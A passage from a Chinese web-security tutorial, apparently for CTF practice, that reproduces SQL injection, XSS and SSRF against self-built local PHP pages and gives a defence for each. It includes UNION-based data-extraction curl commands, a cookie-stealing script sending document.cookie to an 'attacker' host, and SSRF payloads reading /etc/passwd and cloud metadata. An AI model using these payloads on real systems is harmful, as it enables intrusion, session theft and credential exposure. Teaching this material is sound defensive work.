tavenli/sqli-labs\n",[29,13068,13069,13071,13074,13076,13079,13082],{"class":31,"line":227},[29,13070,13060],{"class":91},[29,13072,13073],{"class":95}," run",[29,13075,1831],{"class":116},[29,13077,13078],{"class":116}," -p",[29,13080,13081],{"class":95}," 8000:80",[29,13083,13066],{"class":95},[15,13085,13086],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,13088,13090],{"id":13089},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[76,13092,13094],{"id":13093},"_31-平台与代码","3.1 平台与代码",[15,13096,13097],{},"平台：Linux + PHP + MySQL。",[15,13099,13100],{},"第一步，建数据库。在 MySQL 里执行：",[19,13102,13103],{"className":54,"code":137,"language":56,"meta":24,"style":24},[26,13104,13105,13109,13113,13117,13121,13125],{"__ignoreMap":24},[29,13106,13107],{"class":31,"line":32},[29,13108,144],{},[29,13110,13111],{"class":31,"line":38},[29,13112,149],{},[29,13114,13115],{"class":31,"line":111},[29,13116,154],{},[29,13118,13119],{"class":31,"line":157},[29,13120,160],{},[29,13122,13123],{"class":31,"line":163},[29,13124,166],{},[29,13126,13127],{"class":31,"line":169},[29,13128,172],{},[15,13130,13131,13132,178],{},"第二步，写漏洞页面 ",[26,13133,177],{},[19,13135,13137],{"className":21,"code":13136,"language":23,"meta":24,"style":24},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[26,13138,13139,13143,13147,13152,13157,13161,13165,13170,13175,13179,13183,13188,13193,13198,13202,13206,13211,13215,13219,13224,13229,13233,13238,13242],{"__ignoreMap":24},[29,13140,13141],{"class":31,"line":32},[29,13142,188],{},[29,13144,13145],{"class":31,"line":38},[29,13146,193],{},[29,13148,13149],{"class":31,"line":111},[29,13150,13151],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[29,13153,13154],{"class":31,"line":157},[29,13155,13156],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[29,13158,13159],{"class":31,"line":163},[29,13160,741],{"emptyLinePlaceholder":740},[29,13162,13163],{"class":31,"line":169},[29,13164,35],{},[29,13166,13167],{"class":31,"line":215},[29,13168,13169],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[29,13171,13172],{"class":31,"line":221},[29,13173,13174],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[29,13176,13177],{"class":31,"line":227},[29,13178,741],{"emptyLinePlaceholder":740},[29,13180,13181],{"class":31,"line":773},[29,13182,202],{},[29,13184,13185],{"class":31,"line":779},[29,13186,13187],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[29,13189,13190],{"class":31,"line":785},[29,13191,13192],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[29,13194,13195],{"class":31,"line":791},[29,13196,13197],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[29,13199,13200],{"class":31,"line":797},[29,13201,741],{"emptyLinePlaceholder":740},[29,13203,13204],{"class":31,"line":803},[29,13205,207],{},[29,13207,13208],{"class":31,"line":809},[29,13209,13210],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[29,13212,13213],{"class":31,"line":815},[29,13214,741],{"emptyLinePlaceholder":740},[29,13216,13217],{"class":31,"line":821},[29,13218,212],{},[29,13220,13221],{"class":31,"line":827},[29,13222,13223],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[29,13225,13226],{"class":31,"line":833},[29,13227,13228],{},"    // 取不到更多行时返回 null，while 结束。\n",[29,13230,13231],{"class":31,"line":839},[29,13232,218],{},[29,13234,13235],{"class":31,"line":845},[29,13236,13237],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[29,13239,13240],{"class":31,"line":851},[29,13241,224],{},[29,13243,13244],{"class":31,"line":857},[29,13245,230],{},[15,13247,13248],{},"第三步，启动：",[19,13250,13252],{"className":82,"code":13251,"language":84,"meta":24,"style":24},"php -S 127.0.0.1:8000\n",[26,13253,13254],{"__ignoreMap":24},[29,13255,13256,13258,13260],{"class":31,"line":32},[29,13257,23],{"class":91},[29,13259,117],{"class":116},[29,13261,120],{"class":95},[76,13263,13265],{"id":13264},"_32-正常请求","3.2 正常请求",[15,13267,1621],{},[19,13269,13270],{"className":82,"code":274,"language":84,"meta":24,"style":24},[26,13271,13272],{"__ignoreMap":24},[29,13273,13274,13276,13278,13280],{"class":31,"line":32},[29,13275,281],{"class":91},[29,13277,285],{"class":284},[29,13279,288],{"class":95},[29,13281,291],{"class":284},[15,13283,294],{},[19,13285,13287],{"className":13286,"code":299,"language":300,"meta":24},[298],[26,13288,299],{"__ignoreMap":24},[76,13290,13292],{"id":13291},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,13294,13295,13297,13298,13300],{},[67,13296,251],{},"：确认 ",[26,13299,255],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,13302,13303,13305,13306,13309,13310,13313],{},[67,13304,261],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[26,13307,13308],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[26,13311,13312],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,13315,13316,13318],{},[67,13317,2096],{},"：逐条发送以下三个请求，对比输出。",[15,13320,13321],{},"输入 1：",[19,13323,13325],{"className":82,"code":13324,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[26,13326,13327,13337,13342,13347],{"__ignoreMap":24},[29,13328,13329,13331,13333,13335],{"class":31,"line":32},[29,13330,281],{"class":91},[29,13332,285],{"class":284},[29,13334,325],{"class":95},[29,13336,291],{"class":284},[29,13338,13339],{"class":31,"line":38},[29,13340,13341],{"class":3002},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[29,13343,13344],{"class":31,"line":111},[29,13345,13346],{"class":3002},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[29,13348,13349],{"class":31,"line":157},[29,13350,13351],{"class":3002},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13353,13354],{},"预期输出：SQL 语法错误，例如：",[19,13356,13358],{"className":13357,"code":334,"language":300,"meta":24},[298],[26,13359,334],{"__ignoreMap":24},[15,13361,13362],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13364,13365],{},"输入 2：",[19,13367,13369],{"className":82,"code":13368,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[26,13370,13371,13381,13386],{"__ignoreMap":24},[29,13372,13373,13375,13377,13379],{"class":31,"line":32},[29,13374,281],{"class":91},[29,13376,285],{"class":284},[29,13378,361],{"class":95},[29,13380,291],{"class":284},[29,13382,13383],{"class":31,"line":38},[29,13384,13385],{"class":3002},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[29,13387,13388],{"class":31,"line":111},[29,13389,13390],{"class":3002},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13392,294,13393,13395],{},[26,13394,368],{},"（条件为真，正常返回）。",[15,13397,13398],{},"输入 3：",[19,13400,13402],{"className":82,"code":13401,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[26,13403,13404,13414,13419],{"__ignoreMap":24},[29,13405,13406,13408,13410,13412],{"class":31,"line":32},[29,13407,281],{"class":91},[29,13409,285],{"class":284},[29,13411,387],{"class":95},[29,13413,291],{"class":284},[29,13415,13416],{"class":31,"line":38},[29,13417,13418],{"class":3002},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[29,13420,13421],{"class":31,"line":111},[29,13422,13423],{"class":3002},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13425,13426],{},"预期输出：空（条件为假，查不到数据）。",[15,13428,13429,13430,13432,13433,406],{},"三个结果合起来：单引号报错、",[26,13431,401],{}," 正常、",[26,13434,405],{},[76,13436,13438],{"id":13437},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13440,13441,13443],{},[67,13442,251],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13445,13446,13448,13449,13451],{},[67,13447,261],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[26,13450,426],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13453,13454],{},"第一步，确定列数：",[19,13456,13458],{"className":82,"code":13457,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[26,13459,13460,13470,13475],{"__ignoreMap":24},[29,13461,13462,13464,13466,13468],{"class":31,"line":32},[29,13463,281],{"class":91},[29,13465,285],{"class":284},[29,13467,453],{"class":95},[29,13469,291],{"class":284},[29,13471,13472],{"class":31,"line":38},[29,13473,13474],{"class":3002},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[29,13476,13477],{"class":31,"line":111},[29,13478,13479],{"class":3002},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13481,13482],{},"第二步，确认哪一列会回显：",[19,13484,13486],{"className":82,"code":13485,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[26,13487,13488,13498,13503,13508],{"__ignoreMap":24},[29,13489,13490,13492,13494,13496],{"class":31,"line":32},[29,13491,281],{"class":91},[29,13493,285],{"class":284},[29,13495,517],{"class":95},[29,13497,291],{"class":284},[29,13499,13500],{"class":31,"line":38},[29,13501,13502],{"class":3002},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[29,13504,13505],{"class":31,"line":111},[29,13506,13507],{"class":3002},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[29,13509,13510],{"class":31,"line":157},[29,13511,13512],{"class":3002},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13514,294,13515,13517],{},[26,13516,524],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13519,13520],{},"第三步，查数据库名：",[19,13522,13524],{"className":82,"code":13523,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[26,13525,13526,13536,13541],{"__ignoreMap":24},[29,13527,13528,13530,13532,13534],{"class":31,"line":32},[29,13529,281],{"class":91},[29,13531,285],{"class":284},[29,13533,543],{"class":95},[29,13535,291],{"class":284},[29,13537,13538],{"class":31,"line":38},[29,13539,13540],{"class":3002},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[29,13542,13543],{"class":31,"line":111},[29,13544,13545],{"class":3002},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13547,294,13548,127],{},[26,13549,550],{},[15,13551,13552],{},"第四步，查表名：",[19,13554,13556],{"className":82,"code":13555,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[26,13557,13558,13568,13573,13578,13583],{"__ignoreMap":24},[29,13559,13560,13562,13564,13566],{"class":31,"line":32},[29,13561,281],{"class":91},[29,13563,285],{"class":284},[29,13565,568],{"class":95},[29,13567,291],{"class":284},[29,13569,13570],{"class":31,"line":38},[29,13571,13572],{"class":3002},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[29,13574,13575],{"class":31,"line":111},[29,13576,13577],{"class":3002},"# WHERE table_schema=database()：只筛当前库的表。\n",[29,13579,13580],{"class":31,"line":157},[29,13581,13582],{"class":3002},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[29,13584,13585],{"class":31,"line":163},[29,13586,13587],{"class":3002},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13589,294,13590,127],{},[26,13591,575],{},[15,13593,13594],{},"第五步，拿 flag：",[19,13596,13598],{"className":82,"code":13597,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[26,13599,13600,13610,13615,13620],{"__ignoreMap":24},[29,13601,13602,13604,13606,13608],{"class":31,"line":32},[29,13603,281],{"class":91},[29,13605,285],{"class":284},[29,13607,633],{"class":95},[29,13609,291],{"class":284},[29,13611,13612],{"class":31,"line":38},[29,13613,13614],{"class":3002},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[29,13616,13617],{"class":31,"line":111},[29,13618,13619],{"class":3002},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[29,13621,13622],{"class":31,"line":157},[29,13623,13624],{"class":3002},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13626,294,13627,127],{},[26,13628,640],{},[15,13630,13631],{},"说明：",[9881,13633,13634,13639,13649],{},[2238,13635,13636,13638],{},[26,13637,426],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[2238,13640,13641,13644,13645,13648],{},[26,13642,13643],{},"--+","：URL 中解码后是 ",[26,13646,13647],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[2238,13650,13651,13654],{},[26,13652,13653],{},"group_concat","：把多行拼成一行，方便一次性输出。",[76,13656,13658],{"id":13657},"_35-防御参数化查询","3.5 防御：参数化查询",[19,13660,13662],{"className":21,"code":13661,"language":23,"meta":24,"style":24},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[26,13663,13664,13668],{"__ignoreMap":24},[29,13665,13666],{"class":31,"line":32},[29,13667,1058],{},[29,13669,13670],{"class":31,"line":38},[29,13671,1063],{},[15,13673,13674,13675,13677,13678,13681],{},"此时输入 ",[26,13676,1102],{}," 只会被当作字符串 ",[26,13679,13680],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13683,13685],{"id":13684},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13687,13688,13690],{},[67,13689,251],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13692,13693,13695,13696,13699,13700,13703,13704,13707],{},[67,13694,261],{},"：页面把 ",[26,13697,13698],{},"name"," 原样输出。如果我们传 ",[26,13701,13702],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[26,13705,13706],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[76,13709,13711],{"id":13710},"_41-平台与代码","4.1 平台与代码",[15,13713,13714,13715,178],{},"任意 Web 应用。示例 ",[26,13716,13717],{},"xss.php",[19,13719,13721],{"className":21,"code":13720,"language":23,"meta":24,"style":24},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[26,13722,13723],{"__ignoreMap":24},[29,13724,13725],{"class":31,"line":32},[29,13726,13720],{},[76,13728,13730],{"id":13729},"_42-正常请求","4.2 正常请求",[19,13732,13734],{"className":82,"code":13733,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[26,13735,13736],{"__ignoreMap":24},[29,13737,13738,13740,13742,13745],{"class":31,"line":32},[29,13739,281],{"class":91},[29,13741,285],{"class":284},[29,13743,13744],{"class":95},"http://127.0.0.1:8000/xss.php?name=alice",[29,13746,291],{"class":284},[15,13748,1762,13749,127],{},[26,13750,13751],{},"你好，alice！",[76,13753,13755],{"id":13754},"_43-注入脚本","4.3 注入脚本",[19,13757,13759],{"className":82,"code":13758,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[26,13760,13761],{"__ignoreMap":24},[29,13762,13763,13765,13767,13770],{"class":31,"line":32},[29,13764,281],{"class":91},[29,13766,285],{"class":284},[29,13768,13769],{"class":95},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[29,13771,291],{"class":284},[15,13773,1762],{},[19,13775,13777],{"className":6949,"code":13776,"language":6951,"meta":24,"style":24},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[26,13778,13779,13784,13793,13806,13815],{"__ignoreMap":24},[29,13780,13781],{"class":31,"line":32},[29,13782,13783],{"class":1537},"你好，\n",[29,13785,13786,13788,13791],{"class":31,"line":38},[29,13787,6958],{"class":1537},[29,13789,13790],{"class":1530},"script",[29,13792,1541],{"class":1537},[29,13794,13795,13798,13801,13803],{"class":31,"line":111},[29,13796,13797],{"class":91},"  alert",[29,13799,13800],{"class":1537},"(",[29,13802,1353],{"class":116},[29,13804,13805],{"class":1537},")\n",[29,13807,13808,13811,13813],{"class":31,"line":157},[29,13809,13810],{"class":1537},"\u003C/",[29,13812,13790],{"class":1530},[29,13814,1541],{"class":1537},[29,13816,13817],{"class":31,"line":163},[29,13818,13819],{"class":1537},"！\n",[15,13821,13822,13823,13825,13826,13828],{},"浏览器会把 ",[26,13824,13706],{}," 当作代码执行。",[26,13827,281],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[76,13830,13832],{"id":13831},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13834,13835],{},"攻击者构造 URL：",[19,13837,13839],{"className":6949,"code":13838,"language":6951,"meta":24,"style":24},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[26,13840,13841,13846,13854,13875],{"__ignoreMap":24},[29,13842,13843],{"class":31,"line":32},[29,13844,13845],{"class":1537},"http://127.0.0.1:8000/xss.php?name=\n",[29,13847,13848,13850,13852],{"class":31,"line":38},[29,13849,6958],{"class":1537},[29,13851,13790],{"class":1530},[29,13853,1541],{"class":1537},[29,13855,13856,13859,13861,13864,13867,13869,13872],{"class":31,"line":111},[29,13857,13858],{"class":91},"  fetch",[29,13860,13800],{"class":1537},[29,13862,13863],{"class":284},"'",[29,13865,13866],{"class":95},"http://attacker/?c=",[29,13868,13863],{"class":284},[29,13870,13871],{"class":1530}," +",[29,13873,13874],{"class":1537}," document.cookie)\n",[29,13876,13877,13879,13881],{"class":31,"line":157},[29,13878,13810],{"class":1537},[29,13880,13790],{"class":1530},[29,13882,1541],{"class":1537},[15,13884,13885,13886,13889],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[26,13887,13888],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[76,13891,13893],{"id":13892},"_45-防御输出编码","4.5 防御：输出编码",[15,13895,13896],{},"输出前把危险字符转义：",[1325,13898,13899,13909],{},[1328,13900,13901],{},[1331,13902,13903,13906],{},[1334,13904,13905],{},"原始字符",[1334,13907,13908],{},"转义后",[1344,13910,13911,13922,13934,13945,13956],{},[1331,13912,13913,13917],{},[1349,13914,13915],{},[26,13916,6958],{},[1349,13918,13919],{},[26,13920,13921],{},"&lt;",[1331,13923,13924,13929],{},[1349,13925,13926],{},[26,13927,13928],{},">",[1349,13930,13931],{},[26,13932,13933],{},"&gt;",[1331,13935,13936,13940],{},[1349,13937,13938],{},[26,13939,955],{},[1349,13941,13942],{},[26,13943,13944],{},"&quot;",[1331,13946,13947,13951],{},[1349,13948,13949],{},[26,13950,13863],{},[1349,13952,13953],{},[26,13954,13955],{},"&#39;",[1331,13957,13958,13963],{},[1349,13959,13960],{},[26,13961,13962],{},"&",[1349,13964,13965],{},[26,13966,13967],{},"&amp;",[15,13969,13970,13971,13974],{},"PHP 用 ",[26,13972,13973],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13976,13978],{"id":13977},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13980,13981,13983],{},[67,13982,251],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13985,13986,178,13988,13991,13992,13995,13996,13999,14000,14003,14004,14007],{},[67,13987,261],{},[26,13989,13990],{},"file_get_contents($url)"," 会按 ",[26,13993,13994],{},"$url"," 的协议去读内容。协议决定能力：",[26,13997,13998],{},"file://"," 读本地文件，",[26,14001,14002],{},"http://"," 访问内网，",[26,14005,14006],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[76,14009,14011],{"id":14010},"_51-平台与代码","5.1 平台与代码",[15,14013,14014,14015,178],{},"具有\"URL 处理\"功能的应用。示例 ",[26,14016,14017],{},"ssrf.php",[19,14019,14021],{"className":21,"code":14020,"language":23,"meta":24,"style":24},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[26,14022,14023,14027,14032,14037,14042,14047],{"__ignoreMap":24},[29,14024,14025],{"class":31,"line":32},[29,14026,188],{},[29,14028,14029],{"class":31,"line":38},[29,14030,14031],{},"echo file_get_contents($_GET['url']);\n",[29,14033,14034],{"class":31,"line":111},[29,14035,14036],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[29,14038,14039],{"class":31,"line":157},[29,14040,14041],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[29,14043,14044],{"class":31,"line":163},[29,14045,14046],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[29,14048,14049],{"class":31,"line":169},[29,14050,230],{},[76,14052,14054],{"id":14053},"_52-读本地文件","5.2 读本地文件",[19,14056,14058],{"className":82,"code":14057,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[26,14059,14060,14071,14076,14081],{"__ignoreMap":24},[29,14061,14062,14064,14066,14069],{"class":31,"line":32},[29,14063,281],{"class":91},[29,14065,285],{"class":284},[29,14067,14068],{"class":95},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[29,14070,291],{"class":284},[29,14072,14073],{"class":31,"line":38},[29,14074,14075],{"class":3002},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[29,14077,14078],{"class":31,"line":111},[29,14079,14080],{"class":3002},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[29,14082,14083],{"class":31,"line":157},[29,14084,14085],{"class":3002},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,14087,294],{},[19,14089,14092],{"className":14090,"code":14091,"language":300,"meta":24},[298],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[26,14093,14091],{"__ignoreMap":24},[76,14095,14097],{"id":14096},"_53-探测内网端口","5.3 探测内网端口",[19,14099,14101],{"className":82,"code":14100,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[26,14102,14103,14114,14119,14124],{"__ignoreMap":24},[29,14104,14105,14107,14109,14112],{"class":31,"line":32},[29,14106,281],{"class":91},[29,14108,285],{"class":284},[29,14110,14111],{"class":95},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[29,14113,291],{"class":284},[29,14115,14116],{"class":31,"line":38},[29,14117,14118],{"class":3002},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[29,14120,14121],{"class":31,"line":111},[29,14122,14123],{"class":3002},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[29,14125,14126],{"class":31,"line":157},[29,14127,14128],{"class":3002},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,14130,14131],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[76,14133,14135],{"id":14134},"_54-访问云元数据","5.4 访问云元数据",[19,14137,14139],{"className":82,"code":14138,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[26,14140,14141,14152,14157,14162],{"__ignoreMap":24},[29,14142,14143,14145,14147,14150],{"class":31,"line":32},[29,14144,281],{"class":91},[29,14146,285],{"class":284},[29,14148,14149],{"class":95},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[29,14151,291],{"class":284},[29,14153,14154],{"class":31,"line":38},[29,14155,14156],{"class":3002},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[29,14158,14159],{"class":31,"line":111},[29,14160,14161],{"class":3002},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[29,14163,14164],{"class":31,"line":157},[29,14165,14166],{"class":3002},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,14168,14169],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[76,14171,14173],{"id":14172},"_55-防御","5.5 防御",[19,14175,14177],{"className":21,"code":14176,"language":23,"meta":24,"style":24},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[26,14178,14179,14184,14189,14194],{"__ignoreMap":24},[29,14180,14181],{"class":31,"line":32},[29,14182,14183],{},"$allowed = ['https', 'http'];\n",[29,14185,14186],{"class":31,"line":38},[29,14187,14188],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[29,14190,14191],{"class":31,"line":111},[29,14192,14193],{},"if 